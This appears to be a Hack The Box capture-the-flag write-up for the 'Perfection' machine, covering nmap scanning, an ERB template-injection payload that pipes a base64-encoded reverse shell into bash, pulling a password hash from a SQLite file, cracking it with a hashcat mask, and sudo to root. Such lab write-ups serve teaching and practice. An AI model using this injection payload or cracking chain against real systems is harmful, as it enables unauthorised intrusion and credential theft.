HTB Perfection Writeup

Originally published on Medium

Enumeration

Nmap reveals SSH (22) and HTTP (80) running a "Weighted Grade Calculator" Ruby application.

$ sudo nmap -sC -sV 10.129.216.68
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6
80/tcp open  http    nginx
|_http-title: Weighted Grade Calculator

SSTI Exploitation

The application is vulnerable to server-side template injection (SSTI) via ERB syntax. We inject a reverse shell payload via the category parameter:

category1=a%0A<%25%3dsystem("echo+YmFzaCAtaSA...|+base64+-d+|+bash");%25>1

User Flag and Hash

susan@perfection:~/Migration$ strings pupilpath_credentials.db
SQLite format 3
CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, password TEXT)
Susan Miller   <HASH>

Crack the Hash

$ hashcat -m 1400 hash.txt -a 3 susan_nasus_?d?d?d?d?d?d?d?d?d

<HASH>:susan_nasus_4XXXXXXX0
Status: Cracked

Root Flag

$ ssh susan@10.129.216.68
susan@perfection:~$ sudo su
root@perfection:# cat /root/root.txt
<FLAG>

Conclusion

Clean attack chain: SSTI in Ruby ERB for initial access, SQLite credential extraction, hashcat mask attack, and sudo privilege escalation.